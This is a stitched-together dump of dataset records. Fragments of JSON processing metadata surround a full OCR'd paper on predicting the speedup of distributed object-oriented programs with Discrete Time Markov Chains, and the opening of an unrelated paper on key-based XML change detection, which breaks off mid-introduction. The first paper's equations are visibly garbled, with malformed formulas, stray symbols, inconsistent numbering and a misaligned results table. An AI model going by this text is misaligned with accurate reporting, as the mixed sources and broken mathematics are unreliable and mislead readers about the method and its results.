[21073, 23176, null], [23176, 25350, null], [25350, 27020, null], [27020, 29874, null], [29874, 30970, null], [30970, 31963, null], [31963, 32941, null], [32941, 34293, null], [34293, 36369, null], [36369, 37494, null], [37494, 39056, null], [39056, 39683, null], [39683, 39683, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 39683, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 39683, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 39683, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 39683, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 39683, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, true], [5000, 39683, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 39683, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 39683, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 39683, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 39683, null]], "pdf_page_numbers": [[0, 113, 1], [113, 2908, 2], [2908, 3784, 3], [3784, 5304, 4], [5304, 5820, 5], [5820, 6812, 6], [6812, 8623, 7], [8623, 10345, 8], [10345, 11038, 9], [11038, 12688, 10], [12688, 13651, 11], [13651, 14814, 12], [14814, 17636, 13], [17636, 20515, 14], [20515, 21073, 15], [21073, 23176, 16], [23176, 25350, 17], [25350, 27020, 18], [27020, 29874, 19], [29874, 30970, 20], [30970, 31963, 21], [31963, 32941, 22], [32941, 34293, 23], [34293, 36369, 24], [36369, 37494, 25], [37494, 39056, 26], [39056, 39683, 27], [39683, 39683, 28]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 39683, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-29
|
2024-11-29
|
81157af4300e7ac65e6dd09bb3542fc96e1b0c3c
|
[REMOVED]
|
{"Source-Url": "https://hal-lirmm.ccsd.cnrs.fr/lirmm-01162359/document", "len_cl100k_base": 7084, "olmocr-version": "0.1.53", "pdf-total-pages": 14, "total-fallback-pages": 0, "total-input-tokens": 34771, "total-output-tokens": 8614, "length": "2e12", "weborganizer": {"__label__adult": 0.00029468536376953125, "__label__art_design": 0.0003762245178222656, "__label__crime_law": 0.0003826618194580078, "__label__education_jobs": 0.001819610595703125, "__label__entertainment": 0.00013506412506103516, "__label__fashion_beauty": 0.0001672506332397461, "__label__finance_business": 0.0005764961242675781, "__label__food_dining": 0.0004243850708007813, "__label__games": 0.0005612373352050781, "__label__hardware": 0.0014829635620117188, "__label__health": 0.0006999969482421875, "__label__history": 0.000385284423828125, "__label__home_hobbies": 0.00013637542724609375, "__label__industrial": 0.0005893707275390625, "__label__literature": 0.0003643035888671875, "__label__politics": 0.0003464221954345703, "__label__religion": 0.00047087669372558594, "__label__science_tech": 0.2357177734375, "__label__social_life": 0.00019168853759765625, "__label__software": 0.047515869140625, "__label__software_dev": 0.70654296875, "__label__sports_fitness": 0.0002160072326660156, "__label__transportation": 0.0004887580871582031, "__label__travel": 0.0002377033233642578}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 34356, 0.02751]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 34356, 0.58973]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 34356, 0.89091]], "google_gemma-3-12b-it_contains_pii": [[0, 1020, false], [1020, 3640, null], [3640, 6722, null], [6722, 10063, null], [10063, 12326, null], [12326, 15349, null], [15349, 17063, null], [17063, 20189, null], [20189, 23392, null], [23392, 25591, null], [25591, 28471, null], [28471, 31124, null], [31124, 33840, null], [33840, 34356, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1020, true], [1020, 3640, null], [3640, 6722, null], [6722, 10063, null], [10063, 12326, null], [12326, 15349, null], [15349, 17063, null], [17063, 20189, null], [20189, 23392, null], [23392, 25591, null], [25591, 28471, null], [28471, 31124, null], [31124, 33840, null], [33840, 34356, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 34356, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 34356, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 34356, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 34356, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 34356, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 34356, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 34356, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 34356, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 34356, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 34356, null]], "pdf_page_numbers": [[0, 1020, 1], [1020, 3640, 2], [3640, 6722, 3], [6722, 10063, 4], [10063, 12326, 5], [12326, 15349, 6], [15349, 17063, 7], [17063, 20189, 8], [20189, 23392, 9], [23392, 25591, 10], [25591, 28471, 11], [28471, 31124, 12], [31124, 33840, 13], [33840, 34356, 14]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 34356, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
9c5b136a316f85631283eaf0628301a684f212fb
|
Transforming Source Code to Mathematical Relations for Performance Evaluation
Habib Izadkhah
1Department of Computer Science, Faculty of Mathematical Sciences, University of Tabriz
Tabriz, Iran
Abstract – Assessing software quality attributes (such as performance, reliability, and security) from source code is of the utmost importance. The performance of a software system can be improved by its parallel and distributed execution. The aim of the parallel and distributed execution is to speed up by providing the maximum possible concurrency in executing the distributed segments. It is a well-known fact that distributing a program cannot be always caused speeding up the execution of it; in some cases, this distribution can have negative effects on the running time of the program. Therefore, before distributing a source code, it should be specified whether its distribution could cause maximum possible concurrency or not. The existing methods and tools cannot achieve this aim from the source code. In this paper, we propose a mathematical relationship for object-oriented programs that statically analyze the program by verifying the type of synchronous and asynchronous calls inside the source code. Then, we model the invocations of the software methods by Discrete Time Markov Chains (DTMC). Using the properties of DTMC and the proposed mathematical relationship, we will determine whether or not the source code can be distributed on homogeneous processors. The experimental results showed that we can specify whether the program is distributable or not, before deploying it on the distributed systems.
Keywords: Distributed Software Systems, Source Code, Speedup, Discrete Time Markov Chains
1 Introduction
The need for high speed computation in large-scale scientific applications for analyzing complex scientific problems is very high, so that the common computers would not be able to satisfy it. Therefore, nowadays, using the distributed systems and processing power of numerous processors or cores to reach the favorable speed is known as a fact [1]. Yet, as a fact, creating a large scale distributed program is always more difficult than creating a non-distributed program with the same functionality, as the creation of a distributed system can change into a tedious and error-prone task.
Since the computational programs have many computations, so its execution requires more time. Therefore, if a program does not have the ability to distribute, there will be a lot of waste time. The most important time of a distributed program is invocation or communication time of their methods. These calls spend the most execution time. Certainly, by distributing a program, if two classes of it can be distributed on two different machines, the invocations between those classes will turn into the remote calls. As reference [2] specifies, in some cases, the program distribution can have negative effects on the running time of the program. When there are many calls between two methods, the network traffic increases and as a result, efficiency of the distributed program will be lower than the initial sequential program. So, regarding that constructing the distributed program from the source code is complex and time consuming, it is better to predict whether the source code is distributable or not, before distributing a program on the machines. None of the existing methods and tools can achieve this goal from source code.
1.1 The Problem and the Claim
The overall problem addressed in this paper is to specify whether the source code has the potential for parallelization on homogeneous processors; i.e., in case of distribution, whether it brings the maximum concurrency compared to the sequential mode. We claim that it is possible to provide a solution to the mentioned problem by doing the following tasks:
(1) Modeling software’s method invocations by
Markov chains as (described in section III) as:
- Markov chains nodes represent methods and edges between nodes represent calls between methods,
case of parallelization. Also, a tool called DAGC is presented to find the optimal architecture distribution [11].
DAGC uses clustering method for finding optimal architecture distribution. The tool uses a mathematical relation to measure the quality of the obtained clusters. The main problem in mathematical relation used in this tool and such tools is described above: it does not have the ability to determine whether a program has the capability of being parallel or not. In the previous work [12], we proposed an analytical model for determining distributability of a specific method. However, our method in the previous work cannot determine overall distributability of a program; also, the effectiveness of each method is not considered in the distribution of it. In this research, we want to determine the overall distributability of a program using DTMC considering the effectiveness of each method.
1.2 The Paper Outline
The other sections of the paper are organized as follows: A literature review on the researches conducted by others is discussed in section II. In section III, we propose a mathematical relation of time estimation by which the potential for distribution of the source code can be specified. Case study is discussed in sections IV. At the end, section V deals with conclusions and future works.
2 Related Work and Background
The complicated computational applications cannot be executed in an acceptable time on the computation machine, so they should be divided into small tasks. We can use distributed or multiprocessor systems for executing these tasks. Nowadays, most distributed and multiprocessor tools use scheduling methods for distribution. The aim of scheduling is execution of a program on several processors such that the time of execution of the whole program will be minimal, considering the time of tasks and communication time between the processors [3]. The scheduling methods can be divided into two groups: including those which can assure the quality of service, and those which cannot. The former scheduling systems are preferred to the latter ones. CONDOR [4], SGE [5], PBS [6] and LSF [7] can be referred to as some of the most popular and widely used scheduling systems. These scheduling systems do not guarantee the service quality. These tools perform the scheduling only at the job level and not at applications’. Unlike the above systems, there are some which observe the service quality in scheduling. Such systems observe Job Characteristics, Planning in Scheduling, Rescheduling and Scheduling Optimization in their scheduling. AppleS [8], GraDSI [9] and Nimrod/G [10] are among the most famous systems of this kind. Moreover, none of the aforementioned schedulers can predict whether an offered program has the potential to become parallelized, or whether speedup can be achieved in
starting from state $s_i$. Hence the inverse matrix $(I - Q)^{-1}$ exists. This is called the fundamental matrix $F$:
\[ F = (I - Q)^{-1} = I + Q + Q^2 + Q^3 + \cdots + \sum_{i=0}^{\infty} Q^i. \]
Let $X_{i,j}$ represent the number of visits to state $j$ starting from the state $i$ before process is absorbed. It can be shown that the expected number of visits to state $j$ with starting from state $i$ (i.e., $E[X_{i,j}]$) before entering an absorbing state is given by the $(i,j)$-th entry of the fundamental matrix $F$ [14, 15]. So
\[ E[X_{i,j}] = m_{i,j}, \]
$m_{i,j}$ is the $(i,j)$-th entry of the fundamental matrix $F$. The variance of the expected number of visits could also be computed using the fundamental matrix. Let $\sigma_{i,j}$ denote the variance of the number of visits to the state $j$ starting from state $i$. Define $F_D = [m_{i,j}]$ such that:
\[ \sigma_{i,j}^2 = F(2F_D - I) = F_2. \]
Hence:
\[ Var[X_{i,j}] = \sigma_{i,j}^2. \]
### 3 Predicting Performance Of A Source Code
In this section we describe our approach for modeling a software system that method invocations are represented by an absorbing DTMC, such that DTMC states represent the software methods, and the transitions between states represent transfer of control from one method to another. We assume that the system consists of $n$ methods, and has a single initial state denoted by 1, and a single absorbing or exit state denoted by $n$. Consider Fig. 1. Numbers on edges indicate the probability of movement from one method to another method. In this paper the probability to go from method $x$ to method $y$ is computed as [number of method call from $x$ to $y$ / total number of out method call of $x$ (i.e. fan out)]. The method invocations of the source code are given by the one-step transition probability matrix $P$.
\[
\begin{bmatrix}
0 & 0.5 & 0.5 & 0 & 0 & 0 & 0 \\
0 & 0.25 & 0 & 0.25 & 0.25 & 0 & 0.25 \\
0 & 0 & 0 & 0 & 0.5 & 0.5 & 0 \\
0 & 0 & 0 & 0 & 0 & 0 & 1 \\
0 & 0 & 0 & 0.5 & 0 & 0 & 0.5 \\
0 & 0 & 0 & 0 & 0 & 0 & 1 \\
0 & 0 & 0 & 0 & 0 & 0 & 1 \\
\end{bmatrix}
\]
Equation (8) shows the one-step transition probability matrix $P$ for Figure 1.
Let $PD_i$ denotes the potential of distributability of method $i$ that indicated by node $i$ in the DTMC. During a single execution, the performance of the software, denoted by the random variable $P$ is given by:
\[ P = \prod_{i=1}^{n} PD_{X_{i,i}}. \]
where $X_{i,i}$ denotes the number of visits to the transient state $i$ starting from the state 1. Therefore, the expected performance of a software system is as follows:
\[ E[P] = E\left[ \prod_{i=1}^{n} PD_{X_{i,i}} \right] = \prod_{i=1}^{n} E\left[ PD_{X_{i,i}} \right]. \]
Thus to obtain the expected performance of the source code, we need to obtain $E\left[ PD_{X_{i,i}} \right]$, which is the expected potential of distributability of method $i$ for a single run of the software. Using the Taylor series expansion, $E\left[ PD_{X_{i,i}} \right]$ in relation 10 can be written as relation 11.
\[ E\left[ PD_{X_{i,i}} \right] = PD_i E(X_{i,i}) + \frac{1}{2} (PD_i E(X_{i,i}))(log PD_i)^2 Var PD_i. \]
Let $E[X_{i,i}] = m_{i,i}$ and $Var[X_{i,j}] = \sigma_{i,j}^2$, relation (11) may be written as:
(12) \[
E \left[ PD_{i}^{X_{i},i} \right] = PD_{i}^{m_{i},i} + \frac{1}{2} (PD_{i}^{m_{i},i}) (logPD_{i})^{2} \sigma_{i,i}^{2}. \]
\( m_{i,i} \) is the expected number of visits to state \( i \) and \( \sigma_{i,i}^{2} \) is the variance of the number of visits to state \( i \). \( m_{i,i} \) and \( \sigma_{i,i}^{2} \) can be obtained from DTMC analysis. Relation (10) can thus be written as:
(13) \[
E[P] = \prod_{i}^{n} \left( PD_{i}^{m_{i},i} + \frac{1}{2} (PD_{i}^{m_{i},i}) (logPD_{i})^{2} \sigma_{i,i}^{2} \right). \]
### 3.1 Computing Potential Of Distributability Of Method \( i \)
In this section, we are going to determine Potential of Distributability (\( PD \)) of each method to determine overall performance (i.e., \( P \)) of a program. For achieve this aim, we determine \( PD_{i} \), to measure the values of different distributions for method \( i \). Invocation (or call) between methods are two types of asynchronies and sequential. If by distributing a program, two methods of the program distribute in two different machines, calls between those methods will turn into asynchronies; and in sequential call, two methods of the program are placed on the same machine. Considering of communication time, our method considers two asynchronies and sequential mode for each call; to determine which mode (sequential or parallel) can reach a maximum speed up.
To estimate the speed-up, the execution time of all instructions should be estimated. The execution time of all instructions, except the nested calls, can be computed by the existing methods [16-17]. The existing methods cannot be applied easily to calculate the execution time of nested calls because the execution time of a caller method is depending on the fact that the calls inside it are carried out in a sequential or asynchronous manner. For example, consider Listing 1. In the Listing 1, in the time \( t_{1} \), the current method (caller method) will continue to work in a non-stop manner until reaching the use point of the results of a callee method. We call these points’ synchronization points [18] and is shown by \( S \). So, one method continues to work after calling a method from a remote locations (other distributed segments) and waits for a call response only when requires that response. As shown in Listing 1, the level of concurrency in executing the caller and the callee methods depends on the time interval between the call point and use point of the call results. The problem is the estimation of this interval time. As shown in Listing 1, there may be other calls between the call point and use point and the execution of these calls can be either synchronous or asynchronous.
**Listing 1. Several nested calls**
```plaintext
Method m ( ) {
Some statements // t0
Call R
Some statements // t1
Use R // S
Some statements // t2
}
Method R ( ) {
Some statements // t3
Call P
Some statements // t4
Use P // S
Some statements // t5
}
Method P ( ) {
Some statements // t6
}
```
### 3.1.1 Estimated execution time for sequential mode
In Listing 1, considering methods \( m, R \) and \( P \), if all of them executed sequentially (or synchronously), the estimated execution time will be calculated as follows:
(14) \[
PD_{m}^{\text{sequential}} = t_{0} + t_{3} + t_{6} + t_{4} + t_{5} + t_{1} + t_{2}.
\]
We can write above relation for Listing 1 in the recursive form and expand it for the nested call with any depth.
(15) \[
PD_{m}^{\text{sequential}} = t_{0} + PD_{R}^{\text{sequential}} + t_{1} + t_{2}.
\]
(16) \[
PD_{R}^{\text{sequential}} = t_{3} + PD_{P}^{\text{sequential}} + t_{4} + t_{5}.
\]
(17) \[
PD_{P}^{\text{sequential}} = t_{6}.
\]
Generally, for the sequential call, estimated execution time relation, is as relation:
(18) \[
PD_{m}^{\text{sequential}} = \sum t_{i} + PD_{R}^{\text{sequential}}.
\]
### 3.1.2 Estimated execution time for asynchronous mode
Now we calculate the estimated execution time when methods are executed parallel (or asynchronously). See again Listing 1. If methods \( m, R \) and \( P \) are executed
asynchronously, the estimated execution time will be calculated as follows:
\[ PD_{async} = t_0 + t_1 + I_{init} + t_2. \]
\[ \max(PD_R - t_1 + C_t + I_{init}, 0) \]
\[ PD_R = t_3 + t_4 + T_{init} + t_5. \]
\[ \max(PD_P - t_4 + C_t + I_{init}, 0) + t_5. \]
\[ PD_P = t_6. \]
\[ C_t \text{ is the communication time and } I_{init} \text{ shows the preparation time for doing remote call. Generally, the estimated time relation for the parallel (or asynchronous) is calculated as follows:} \]
\[ PD_m = \sum t_i + \sum a_i \times PD_i + \sum (1 - a_i) \times (I_{init} + \max((PD_F_i + C_t) - t_i + I_{init}, 0)). \]
3.1.3 Determining the Potential of Distribution
Considering the relations (18) and (22), the general mathematical form of a PD relation is written as follows:
\[ PD_m = \sum t_i + \sum a_i \times PD_i + \sum (1 - a_i) \times (I_{init} + \max((PD_F_i + C_t) - t_i + I_{init}, 0)). \]
In the above relation, depending on the call to be synchronous or asynchronous, the value of \( a_i \) is considered as 1 and 0, respectively. The goal is to determine \( a_i \) so that this minimizes \( PD_m \). In the relation (23), the communication time is \( C_t \) and \( t_i \) is the estimated time between the callee point of \( I_i \) and the synchronization point of \( S_i \) (use point).
For example, to obtain \( PD \) for Listing 1, we need to combine the estimated times for the asynchronous (relation 22) and sequential execution (relations 15-17) as follows:
\[ PD_m = t_0 + a_1 \times PD_R + t_1 + (1 - a_1) \times (I_{init} + \max(PD_R - t_1 + C_t + I_{init}, 0)) + t_2, \]
\[ PD_R = t_3 + a_2 \times PD_P + t_4 + (1 - a_2) \times (I_{init} + \max(PD_P - t_4 + C_t + I_{init}, 0)) + t_5, \]
\[ GTE_P = t_6. \]
In relation 24, the aim is to determine \( a_1 \) and \( a_2 \) in a way to minimize \( PD_m, PD_R \) and \( PD_P \).
Listing 2. A sample program code
Class A {
Public void m() {
// some statements T1
B = new B();
int r1 = b.m();
print (r1); //S1
C = new C();
int r2 = c.n();
D = new D();
int r3 = d.p();
// some statements T2
if (r2 == 1) {...} //S2
// some statements T3
F = new F();
int r4 = f.g();
If(r1 > r2 && r1 > r3 && r1 > r4)
{...} // S3 and S4
// some statements T4
}
} // class
Class B extends A{
static int m() {
// some statements T5
}
} // Class
Class C extends A{
static int n() {
// some statements T6
}
} // Class
Class D {
int p() {
D = new D();
int r = d.p();
Print (r); //S5
F = new F();
int r1 = f.g();
If(r > r1)
{...} // S6
}
} // Class
Class F {
// some statements T7
} // Class
Considering the program code in the Listing 2, \( PD_{A,m} \) can be written as (25).
\[ PD(A.m) = T_1 + a_1 \cdot PD(B.m) + (1 - a_1) \cdot T(S_1) + a_2 \cdot PD(C.n) + a_3 \cdot PD(D.p) + T_2 + (1 - a_2) \cdot T(S_2) + T_3 + a_4 \cdot PD(F,g) + (1 - a_3) \cdot T(S_3) + (1 - a_4) \cdot T(S_4) + T_4, \]
\[ PD(B.m) = T_5, \quad PD(C.n) = T_6, \quad PD(D.p) = a_5 \cdot PD(D.p) + (1 - a_5) \cdot T(S_5) + a_6 \cdot PD(F,g) + (1 - a_6) \cdot T(S_6), \]
\[ PD(F,g) = T_7, \]
\[ T(S_1) = \max(PD(B.m) + 2t_{c_1}, 0), \]
\[ T(S_2) = \max(T_2 + a_3 \cdot PD(D.p) + 2t_c, 0), \]
\[ T(S_3) = \max((PD(F,g) + 2t_{c_1}) + T_3 + ((1 - a_2) \cdot T(S_2) + T_2), 0), \]
\[ T(S_4) = \max((PD(F,g) + 2t_{c_1}, 0), \]
\[ T(S_5) = \max((PD(D.p) + 2t_{c_1}, 0), \]
\[ T(S_6) = \max((PD(F,g) + 2t_{c_1}, 0). \]
<table>
<thead>
<tr>
<th>Sequential Time (seconds)</th>
<th>Expected Distributed Time (seconds)</th>
<th>Speed-up</th>
</tr>
</thead>
<tbody>
<tr>
<td>380</td>
<td>261</td>
<td>1.455</td>
</tr>
</tbody>
</table>
Table 1. Distributed execution times, sequential execution times and speed-up for Listing 2
The aim of PD relations in (25) is to determine \( a_1, a_2, a_3, a_4 \) and \( a_5 \) in a way to minimize \( PD(A.m), PD(B.m), PD(C.n), PD(D.p) \) and \( PD(F,g) \). We use the Dantzig’s simplex algorithm [20] to determine the binary values of \( a_i \) (for synchronous calls the value of \( a_i \) is considered as 1 and for asynchronous calls, the value of \( a_i \) is considered as 0). Simplex method is a popular algorithm for linear programming. Then, after determining \( PD \) for methods \( m, n, p \) and \( g \), we make DTMC for the program of Listing 2 and then we compute the potential of distributability (using relation 24) for each method and then of course we will determine expected performance (relation 12). Also, the sequential execution time of the program is calculated as well. Finally, the speedup is calculated by dividing the sequential time to the expected performance. For relations (25), the communication overhead is considered as 1 second and \( T_1, T_2, T_3, T_4 \) and \( T_5 \) (execution time of non-call statements) are considered as 40, 35, 45, 50 and 20 seconds. Table 1 shows the expected distributed potential (using relation 13), sequential, and speed-up execution times for Listing 2. Since speed-up is bigger than one, this indicates that the program is capable of parallel execution; i.e., the parallel execution of the program is faster than the sequential execution of the program.
4 Evaluation Result
In this section, we evaluate the performance of the proposed method. We want to determine when the speed-up achieved by our method is greater than one; the actual execution will speed up. For achieve this goal, we use jDistributor [2] tool. jDistributor is a tool for automatic distribution of the sequential program on the homogeneous distributed systems using the Java Symphony middleware [19]. The algorithm used in the jDistributor is a hierarchical clustering method and its goal is to find an appropriate clustering for distribution. We use the well-known travelling salesman problem (TSP) for evaluating the proposed method. We compute \( PD_{sequence} \) and \( PD_{async} \) from source code. We then predict from \( PD \) relation, the estimated time of the parallel and sequential execution for different graph nodes and then calculate speed-up by them. Afterwards, we distribute the TSP on the network including three computers by use of the jDistributor tool and then we calculate the parallel and sequential execution times. The results are shown in Table 2.
5 Conclusion
In this paper, we introduced a new approach to specify whether the source code is distributable or not, before the distribution. For achieve this goal, by considering asynchronous and sequential calls, a mathematical relationship was proposed to measure different distributions values from the same program code. Then, we model the software’s method invocations by Discrete Time Markov Chains (DTMC). DTMC and its properties and proposed mathematical relationship can determine whether or not the source code distribution capabilities on homogeneous processors.
5.1 Future Work
We plan to extend and improve this work as follows: Our aim is to propose an algorithm, which attempts to improve the speed-up as much as possible in the distribution environment by reordering instructions at the compilation time. Therefore, it attempts will be made to increase distance between the caller points to its use point using the techniques known as instructions scheduling, for increase concurrent time of caller and callee methods as much as possible.
References
Table 2. Comparison of estimated execution time using PD relation with its actual execution time
| Graph No | Estimated Execution Time | Actual Execution Time (Using|Distributor tool [2]| |
|---|---|---|---|
| Nodes | Edges | Sequential Time (using relation 18) | Expected Distributed Time (using relations 13 and 23) | Speed-up | Sequential Time (millisecond) | Distributed Time (millisecond) | Speed-up |
| | | | | | | | |
| 20 | 30 | 405 | 4375 | 0.092 | 589 | 7717 | 0.076 |
| 30 | 50 | 801 | 4932 | 0.162 | 1281 | 8310 | 0.154 |
| 60 | 100 | 2230 | 5401 | 0.412 | 3412 | 8503 | 0.404 |
| 80 | 180 | 7569 | 7220 | 1.048 | 13314 | 12809 | 1.039 |
| 100 | 310 | 19341 | 10002 | 1.933 | 21773 | 16731 | 1.301 |
| 130 | 420 | 35987 | 20075 | 1.792 | 43517 | 30722 | 1.416 |
| 170 | 686 | 59811 | 28676 | 2.085 | 82973 | 40362 | 2.055 |
|
{"Source-Url": "https://journals.umcs.pl/ai/article/download/3413/2607", "len_cl100k_base": 6090, "olmocr-version": "0.1.53", "pdf-total-pages": 7, "total-fallback-pages": 0, "total-input-tokens": 43432, "total-output-tokens": 7953, "length": "2e12", "weborganizer": {"__label__adult": 0.0003571510314941406, "__label__art_design": 0.00028514862060546875, "__label__crime_law": 0.0004000663757324219, "__label__education_jobs": 0.0009522438049316406, "__label__entertainment": 7.635354995727539e-05, "__label__fashion_beauty": 0.0001550912857055664, "__label__finance_business": 0.00036263465881347656, "__label__food_dining": 0.000377655029296875, "__label__games": 0.0005974769592285156, "__label__hardware": 0.0012655258178710938, "__label__health": 0.0007181167602539062, "__label__history": 0.0002803802490234375, "__label__home_hobbies": 0.00012165307998657228, "__label__industrial": 0.00051116943359375, "__label__literature": 0.0002899169921875, "__label__politics": 0.0002751350402832031, "__label__religion": 0.0004439353942871094, "__label__science_tech": 0.06817626953125, "__label__social_life": 9.679794311523438e-05, "__label__software": 0.00696563720703125, "__label__software_dev": 0.916015625, "__label__sports_fitness": 0.0003535747528076172, "__label__transportation": 0.0006647109985351562, "__label__travel": 0.00023448467254638672}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 26177, 0.06375]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 26177, 0.52565]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 26177, 0.86168]], "google_gemma-3-12b-it_contains_pii": [[0, 4040, false], [4040, 6891, null], [6891, 10128, null], [10128, 14234, null], [14234, 17111, null], [17111, 21262, null], [21262, 26177, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4040, true], [4040, 6891, null], [6891, 10128, null], [10128, 14234, null], [14234, 17111, null], [17111, 21262, null], [21262, 26177, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 26177, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 26177, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 26177, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 26177, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 26177, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 26177, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 26177, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 26177, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 26177, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 26177, null]], "pdf_page_numbers": [[0, 4040, 1], [4040, 6891, 2], [6891, 10128, 3], [10128, 14234, 4], [14234, 17111, 5], [17111, 21262, 6], [21262, 26177, 7]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 26177, 0.06542]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
f019f66ac626231a1731a83ed433ae080230e0bc
|
A Semantical Change Detection Algorithm for XML
Rodrigo Cordeiro dos Santos
Universidade Federal do Parana, Brazil
rodrigosantos@celepar.pr.gov.br
Carmem Hara
Universidade Federal do Parana, Brazil
carmem@inf.ufpr.br
Abstract
XML diff algorithms proposed in the literature have focused on the structural analysis of the document. When XML is used for data exchange, or when different versions of a document are downloaded periodically, a matching process based on keys defined on the document can generate more meaningful results. In this paper, we use XML keys defined in [5] to improve the quality of diff algorithms. That is, XML keys determine which elements in different versions refer to the same entity in the real world, and therefore should be matched by the diff algorithm. We present an algorithm that extends an existing diff algorithm with a preprocessing phase for pairing elements based on keys.
1. Introduction
XML has become the standard format for data exchange on the Web. It helps the process of publishing data, especially when the underlying information is constantly being updated. The data consumer, on the other side, may be interested not only on the current contents of a web site, but also on the updates that have been made since his last access. As an example, one may want to know what are the new products in a catalog, or which products had their prices changed. To help the task of comparing two versions of XML documents, a number of diff algorithms have been proposed in the literature [1, 2, 15, 16].
The majority of these algorithms are based on a structural analysis of the documents. Similar to diff algorithms on strings, their main strategy is based on finding large fragments of data that are identical in both versions of a document and match them. After finding these matchings, a sequence of operations that transforms the old version of the document to the new one is generated. This is called an edit script or delta. In many applications, XML documents are not arbitrary tree structured data, but have well defined structure and semantics. A strategy based solely on structural and value similarities can generate erroneous matchings of elements.
We have conducted an experimental study to analyze the results of two diff algorithms: XyDiff[1], and X-Diff[15]. The experiments consisted of modifying an XML tree by inserting, deleting, modifying, and moving both internal and leaf nodes in the tree, and then analyzing how semantically meaningful the changes detected by these algorithms were. The results showed the following: 1) both algorithms are extremely sensitive to changes in the structure of the document, especially when they involve insertion and removal of internal nodes; 2) the existence of several similar or identical subtrees in a document may induce the algorithms to erroneously match them, and these erroneous matchings are propagated to their ancestors and descendants. We illustrate these problems below.
Example 1: Consider the two XML documents, represented as XML trees, depicted in Figure 1. They contain information about university professors. Each professor has a name, an office, and optionally a phone or email. Comparing the old version with the new one, we can observe that both John and Mary have their offices changed, and moreover, that Mary has moved to John’s former office. If the strategy of the diff algorithm is to find the largest common subtree in both versions, it will match John’s old office (node 9) with Mary’s new one (node 49). This matching can then be propagated upwards by matching professor elements (nodes 4 and 45). That is, the professor element node that corresponds to John is matched with the one that corresponds to Mary. As a consequence, the edit script contains an update on the name of the professor who works in the matched office, while our expected result is an update on professor’s office. In particular, if we know that name uniquely identifies a professor in the document, that is, name is a key for professor, then it is always the case that matches of professor elements based on their names produce more meaningful results than matches based on similar subtrees.
Observe that not only values have been modified, but the structure of the document has also changed. In the old version, professors are organized by their universities, while in the new one, they are placed under their departments. In our experimental study, the edit scripts generated by both XyDiff and X-Diff consisted of operations that remove all subtrees rooted at professor elements, followed by in-
sitions of the same subtrees under the new department node. This is because in both algorithms only nodes reached by following exactly the same path from the root can be matched. Clearly, this is not the expected results from the semantical point of view, which is the creation of a new level in the tree. Similar to the previous case, if we know that name uniquely identifies a professor no matter where the professor node occurs in the tree then the correct matchings of professor elements would be found, avoiding their removals in the edit script.
In this paper, we propose an algorithm, called XKey-Match, that uses XML keys[5] to guide the comparison of XML documents. That is, first elements in the two versions are matched based on their key values, and then a structural analysis is performed to determine their differences. In Example 1 we would give as input to the diff algorithm that name uniquely identifies a professor in the entire document. A strategy based on keys is natural when comparing two relational databases. Since XML has become a standard for data exchange, it is natural to apply the same strategy for this format.
